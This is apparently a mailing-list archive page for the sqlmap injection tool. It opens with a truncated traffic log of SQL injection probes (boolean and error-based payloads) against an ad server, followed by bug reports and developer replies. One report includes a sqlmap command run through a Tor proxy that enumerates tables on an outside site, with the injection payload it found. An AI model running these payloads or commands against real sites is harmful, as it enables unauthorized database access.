Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#31] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%27%20AND%203575%3D3575
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304982" name="32_1356304982" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#32]:
GET /ads.php?zone_id=32%27%20AND%202640%3D2439 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#32] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%27%20AND%202640%3D2439
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304982" name="32_1356304982" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#33]:
GET /ads.php?zone_id=32%22%20AND%205621%3D3514 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#33] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%22%20AND%205621%3D3514
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304983" name="32_1356304983" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#34]:
GET /ads.php?zone_id=32%22%20AND%203575%3D3575 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#34] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%22%20AND%203575%3D3575
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304983" name="32_1356304983" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#35]:
GET /ads.php?zone_id=32%22%20AND%202817%3D8304 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#35] (200 OK):
Content-length: 659
Set-cookie: tj_fc=cid_73031_expires_1356391383|; Expires=Tue Jan 22 18:23:03 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%22%20AND%202817%3D8304
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="73031" def="0" z_id="49" ad_id="466686" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304983" name="49_1356304983" src="http://media.SomeURL/cdn_custom_ads/crakmedia/USA/6.html" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="73031"  ad_id="466686" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#36]:
GET /ads.php?zone_id=32%22%20AND%20%28SELECT%203106%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a7974613a%2C%28SELECT%20%28CASE%20WHEN%20%283106%3D3106%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a65766e3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#36] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%22%20AND%20%28SELECT%203106%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a7974613a%2C%28SELECT%20%28CASE%20WHEN%20%283106%3D3106%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a65766e3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304983" name="32_1356304983" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#37]:
GET /ads.php?zone_id=32%22%20AND%20EXTRACTVALUE%283622%2CCONCAT%280x5c%2C0x3a7974613a%2C%28SELECT%20%28CASE%20WHEN%20%283622%3D3622%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a65766e3a%29%29 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#37] (200 OK):
Content-length: 641
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%22%20AND%20EXTRACTVALUE%283622%2CCONCAT%280x5c%2C0x3a7974613a%2C%28SELECT%20%28CASE%20WHEN%20%283622%3D3622%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a65766e3a%29%29
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="102861" def="0" z_id="32" ad_id="748155" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304984" name="32_1356304984" src="http://ads2.SomeOtherURL.com/ads?spot_id=152575" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="102861"  ad_id="748155" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#38]:
GET /ads.php?zone_id=32%22%20AND%20UPDATEXML%282301%2CCONCAT%280x2e%2C0x3a7974613a%2C%28SELECT%20%28CASE%20WHEN%20%282301%3D2301%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a65766e3a%29%2C4267%29 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#38] (200 OK):
Content-length: 969
Set-cookie: tj_fc=cid_100662_expires_1356391384|; Expires=Tue Jan 22 18:23:04 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%22%20AND%20UPDATEXML%282301%2CCONCAT%280x2e%2C0x3a7974613a%2C%28SELECT%20%28CASE%20WHEN%20%282301%3D2301%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a65766e3a%29%2C4267%29
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=100662 def="0" z_id="49" ad_id="843351" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6pHtCpDME9VkRBY_DS1MPTJTZRTJscjVqq408KPYQgzku0YXqEAjrMFlMM_nrbY-tFClKyy-qSXIf9xtf98XaLg6d2MM6cCCw7mL_l9vrGf0WqDnhjoZZc9MVgrw7xYHhl1nXKVER-EOlmIIQAp9yDk=&data2=k0GBOlituWmPO73pdO3p42b3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=0&campaign_id=100662&ad_id=843351&zone_id=49&site_id=0&bid_id=230535&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/843/351/image843351.gif" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#39]:
GET /ads.php?zone_id=32%22%20AND%20ROW%287805%2C7018%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a7974613a%2C%28SELECT%20%28CASE%20WHEN%20%287805%3D7805%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a65766e3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%204160%20UNION%20SELECT%203506%20UNION%20SELECT%203985%20UNION%20SELECT%208776%29a%20GROUP%20BY%20x%29 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#39] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%22%20AND%20ROW%287805%2C7018%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a7974613a%2C%28SELECT%20%28CASE%20WHEN%20%287805%3D7805%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a65766e3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%204160%20UNION%20SELECT%203506%20UNION%20SELECT%203985%20UNION%20SELECT%208776%29a%20GROUP%20BY%20x%29
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BO...
 
[truncated message content]

[sqlmap-users] hi problem in start scaning

[יוסי פ. <jos...@gm...>]

[01:04:46] [DEBUG] cleaning up configuration parameters
[01:04:46] [DEBUG] setting the HTTP timeout
[01:04:46] [DEBUG] setting the HTTP method to GET
[01:04:46] [DEBUG] creating HTTP requests opener object
[01:04:46] [INFO] starting crawler
[01:04:46] [INFO] searching for links with depth 1
[01:04:47] [DEBUG] declared web page charset 'utf-8'




[01:04:47] [CRITICAL] unhandled exception in sqlmap/1.0-dev-7adaffa, retry
your run with the latest development version from the GitHub repository. If
the exception persists, please send by e-mail to '
sql...@li...' or open a new issue at '
https://github.com/sqlmapproject/sqlmap/issues/new' with the following text
and any information required to reproduce the bug. The developers will try
to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 1.0-dev-7adaffa
Python version: 2.6.5
Operating system: posix
Command line: ./sqlmap.py -u ********************************************
--crawl 1 --forms -v 3
Technique: None
Back-end DBMS: None (identified)
Traceback (most recent call last):
  File "/pentest/database/sqlmap/_sqlmap.py", line 66, in main
    init(cmdLineOptions)
  File "/pentest/database/sqlmap/lib/core/option.py", line 2095, in init
    _setCrawler()
  File "/pentest/database/sqlmap/lib/core/option.py", line 465, in
_setCrawler
    crawler.getTargetUrls()
  File "/pentest/database/sqlmap/lib/utils/crawler.py", line 128, in
getTargetUrls
    for url in threadData.shared.values:
TypeError: 'builtin_function_or_method' object is not iterable

[*] shutting down at 01:04:47

Re: [sqlmap-users] not working after updating

[Anton S. <ant...@gm...>]

Hi Bernardo and thank you for the detailed and conceivable answers. I'm
sure more people appreciate that than me.

And please fix the #48 issue. I'm the one that started it, so I feel
somehow obliged, although I contribute nothing :)

Joking, of course. Kindly focus on your own priorities.

Thanks.
Anton


On Thu, Dec 20, 2012 at 2:23 AM, Bernardo Damele A. G. <
ber...@gm...> wrote:

> Hi Anton,
>
> On 19 December 2012 19:16, Anton Sazonov <ant...@gm...> wrote:
> >
> > Bernardo, wouldn't it be wiser to remove the .tgz/.zip link altogether
> from sqlmap.org?
> >
> > I mean, most of the people's failures fall into the category of "git the
> latest version, would you".
>
> Those .zip and tar.gz are generated from the very latest development
> version at each git push. The only disadvantage is that they're not
> git working directories (there's no .git/ folder) so cannot be kept
> updated.
>
> > [...]
> > On another note, could you or anyone kindly explain the newish
> --live-test? I only see it in git fetch logs. And I don't much read Python.
>
> --live-test is used internally for development regression testing
> purposes whereby test cases are defined in xml/livetests.xml - it is a
> hidden switch needed only during the development to assert no bugs are
> introduced in existing and solid features following new developments.
>
> > Finally, please, eventually, do take care of issue #48 (
> https://github.com/sqlmapproject/sqlmap/issues/48), specifically the
> inability to inject into any fields, including HTTP headers.
>
> At the moment, sqlmap can detect and exploit SQL injections in Cookie,
> User-Agent and Referer headers, given you provide a high --level value
> (say 3 or above). Ability to inject in arbitrary headers will come,
> but is not top priority at the moment.
>
> --
> Bernardo Damele A. G.
>
> E-mail / Jabber: bernardo.damele (at) gmail.com
> Mobile: +447788962949 (UK 07788962949)
>

Re: [sqlmap-users] not working after updating

[Bernardo D. A. G. <ber...@gm...>]

Hi Anton,

On 19 December 2012 19:16, Anton Sazonov <ant...@gm...> wrote:
>
> Bernardo, wouldn't it be wiser to remove the .tgz/.zip link altogether from sqlmap.org?
>
> I mean, most of the people's failures fall into the category of "git the latest version, would you".

Those .zip and tar.gz are generated from the very latest development
version at each git push. The only disadvantage is that they're not
git working directories (there's no .git/ folder) so cannot be kept
updated.

> [...]
> On another note, could you or anyone kindly explain the newish --live-test? I only see it in git fetch logs. And I don't much read Python.

--live-test is used internally for development regression testing
purposes whereby test cases are defined in xml/livetests.xml - it is a
hidden switch needed only during the development to assert no bugs are
introduced in existing and solid features following new developments.

> Finally, please, eventually, do take care of issue #48 (https://github.com/sqlmapproject/sqlmap/issues/48), specifically the inability to inject into any fields, including HTTP headers.

At the moment, sqlmap can detect and exploit SQL injections in Cookie,
User-Agent and Referer headers, given you provide a high --level value
(say 3 or above). Ability to inject in arbitrary headers will come,
but is not top priority at the moment.

--
Bernardo Damele A. G.

E-mail / Jabber: bernardo.damele (at) gmail.com
Mobile: +447788962949 (UK 07788962949)

Re: [sqlmap-users] not working after updating

[Anton S. <ant...@gm...>]

Bernardo, wouldn't it be wiser to remove the .tgz/.zip link altogether from
sqlmap.org?

I mean, most of the people's failures fall into the category of "git the
latest version, would you".

So, say, an independent .zip for Windows where sqlmap, detecting Windows,
would advise on how to get the git package (basically, the way it does now
with --update, or something). Same thing with *nix users. Wouldn't that
save a bit of man hours answering questions from those who haven't bothered
to install git?

On another note, could you or anyone kindly explain the newish *--live-test*?
I only see it in git fetch logs. And I don't much read Python.

Finally, please, eventually, do take care of issue #48 (
https://github.com/sqlmapproject/sqlmap/issues/48), specifically
the inability to inject into any fields, including HTTP headers.

Thanks a lot for your work all those working on sqlmap. I do love to see
where there's an essential and almost daily updated security tool is free,
open-sourced (although I don't care) and has overly friendly
authors/contributors. Kindly go on.

Kind regards,
Anton

Re: [sqlmap-users] not working after updating

[Andreas C. (MegaHz) <me...@me...>]

It seems that i was missing something.

it got fixed after i run:

sudo port install file

thanks

-- Andreas


On Dec 19, 2012, at 3:11 PM, Bernardo Damele A. G. <ber...@gm...> wrote:

> It should be fixed now.
> Can you please retry?
> 
> Bernardo
> 
> 
> 
> On 19 December 2012 12:05, Andreas Constantinides (MegaHz) <me...@me...> wrote:
> 
> Hello,
> 
> check at this:
> 
> sqlmap was working:
> 
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D dassad33_kjd7sadh --random-agent
> 
>     sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover tool
>     http://sqlmap.org
> 
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
> 
> [*] starting at 14:00:14
> 
> [14:00:14] [INFO] fetched random HTTP User-Agent header from file '/Volumes/EXTRA SPACE/tools/sqlmap-dev/txt/user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCDS/3.9.1.14019 Firefox/3.6.13
> [14:00:15] [INFO] resuming back-end DBMS 'microsoft sql server' 
> [14:00:15] [INFO] testing connection to the target url
> sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
> ---
> Place: GET
> Parameter: filter_searchResults
>     Type: boolean-based blind
>     Title: AND boolean-based blind - WHERE or HAVING clause
>     Payload: a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007) AND 4775=4775 AND (4447=4447&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY,TEXT&a_name=search_1&customrpp=10
> ---
> [14:00:19] [INFO] the back-end DBMS is Microsoft SQL Server
> web server operating system: Windows 2003
> web application technology: ColdFusion, Microsoft IIS 6.0
> back-end DBMS: Microsoft SQL Server 2005
> 
> 
> I updated:
> 
> 
> sast-iMac:sqlmap-dev sast$ 
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py --update
> 
>     sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover tool
>     http://sqlmap.org
> 
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
> 
> [*] starting at 14:00:34
> 
> [14:00:34] [INFO] updating sqlmap to the latest development version from the GitHub repository
> [14:00:34] [INFO] update in progress .......
> [14:00:41] [INFO] updated to the latest revision '54752a9'
> 
> [*] shutting down at 14:00:41
> 
> 
> and now with the same command i get errors:
> 
> 
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D dassad33_kjd7sadh --random-agent
> Traceback (most recent call last):
>   File "./sqlmap.py", line 15, in <module>
>     from _sqlmap import main
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in <module>
>     from lib.controller.controller import start
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module>
>     from lib.controller.action import action
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py", line 8, in <module>
>     from lib.controller.handler import setHandler
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py", line 8, in <module>
>     from lib.core.common import Backend
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line 133, in <module>
>     from thirdparty.magic import magic
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py", line 132, in <module>
>     raise ImportError('failed to find libmagic.  Check your installation')
> ImportError: failed to find libmagic.  Check your installation
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D dassad33_kjd7sadh --random-agent
> Traceback (most recent call last):
>   File "./sqlmap.py", line 15, in <module>
>     from _sqlmap import main
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in <module>
>     from lib.controller.controller import start
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module>
>     from lib.controller.action import action
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py", line 8, in <module>
>     from lib.controller.handler import setHandler
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py", line 8, in <module>
>     from lib.core.common import Backend
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line 133, in <module>
>     from thirdparty.magic import magic
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py", line 132, in <module>
>     raise ImportError('failed to find libmagic.  Check your installation')
> ImportError: failed to find libmagic.  Check your installation
> sast-iMac:sqlmap-dev sast$ 
> 
> 
> any ideas?
> 
> thanks
> 
> ------------------------------------------------------------------------------
> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
> Remotely access PCs and mobile devices and provide instant support
> Improve your efficiency, and focus on delivering more value-add services
> Discover what IT Professionals Know. Rescue delivers
> http://p.sf.net/sfu/logmein_12329d2d
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
> 
> 
> 
> 
> -- 
> Bernardo Damele A. G.
> 
> E-mail / Jabber: bernardo.damele (at) gmail.com
> Mobile: +447788962949 (UK 07788962949)

Re: [sqlmap-users] sqlmap issue/bug

[Miroslav S. <mir...@gm...>]

Hi.

You haven't copy-pasted whole exception message. Please do it so we could
spot what's going on

Kind regards,
Miroslav Stampar

On Wed, Dec 19, 2012 at 2:31 PM, Sensėjus Tūrbo <pau...@gm...
> wrote:

> hi,
>
> i faced the issue using sqlmap while auditing db2 database. Newest
> development release failed to get results and crashed:
>
> [08:26:47] [CRITICAL] unhandled exception in sqlmap/1.0-dev-b91c829, retry
> your run with the latest development version from the GitHub repository. If
> the exception persists, please send by e-mail to '
> sql...@li...' or open a new issue at '
> https://github.com/sqlmapproject/sqlmap/issues/new' with the following
> text and any information required to reproduce the bug. The developers will
> try to reproduce the bug, fix it accordingly and get back to you.
> sqlmap version: 1.0-dev-b91c829
> Python version: 2.6.5
> Operating system: posix
> Command line: ./sqlmap.py -r ../../Desktop/uzs.txt --dbms=db2
> --proxy=******************* --batch --sql-shell
> Technique: BOOLEAN
> Back-end DBMS: IBM DB2 (fingerprinted)
>
>
> tried to select:
> select tbname from sysibm.syscolumns where name='username'
>
> but this works fine:
> select 1 from sysibm.sysdummmy1
>
> Any suggestions?
>
>
> ------------------------------------------------------------------------------
> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
> Remotely access PCs and mobile devices and provide instant support
> Improve your efficiency, and focus on delivering more value-add services
> Discover what IT Professionals Know. Rescue delivers
> http://p.sf.net/sfu/logmein_12329d2d
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] sqlmap issue/bug

[Sensėjus T. <pau...@gm...>]

hi,

i faced the issue using sqlmap while auditing db2 database. Newest
development release failed to get results and crashed:

[08:26:47] [CRITICAL] unhandled exception in sqlmap/1.0-dev-b91c829, retry
your run with the latest development version from the GitHub repository. If
the exception persists, please send by e-mail to '
sql...@li...' or open a new issue at '
https://github.com/sqlmapproject/sqlmap/issues/new' with the following text
and any information required to reproduce the bug. The developers will try
to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 1.0-dev-b91c829
Python version: 2.6.5
Operating system: posix
Command line: ./sqlmap.py -r ../../Desktop/uzs.txt --dbms=db2
--proxy=******************* --batch --sql-shell
Technique: BOOLEAN
Back-end DBMS: IBM DB2 (fingerprinted)


tried to select:
select tbname from sysibm.syscolumns where name='username'

but this works fine:
select 1 from sysibm.sysdummmy1

Any suggestions?

Re: [sqlmap-users] not working after updating

[Bernardo D. A. G. <ber...@gm...>]

It should be fixed now.
Can you please retry?

Bernardo



On 19 December 2012 12:05, Andreas Constantinides (MegaHz) <
me...@me...> wrote:

>
> Hello,
>
> check at this:
>
> sqlmap was working:
>
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "
> http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10"
> --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
> dassad33_kjd7sadh --random-agent
>
>     sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover
> tool
>     http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user's responsibility to obey all
> applicable local, state and federal laws. Developers assume no liability
> and are not responsible for any misuse or damage caused by this program
>
> [*] starting at 14:00:14
>
> [14:00:14] [INFO] fetched random HTTP User-Agent header from file
> '/Volumes/EXTRA SPACE/tools/sqlmap-dev/txt/user-agents.txt': Mozilla/5.0
> (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203
> AskTbCDS/3.9.1.14019 Firefox/3.6.13
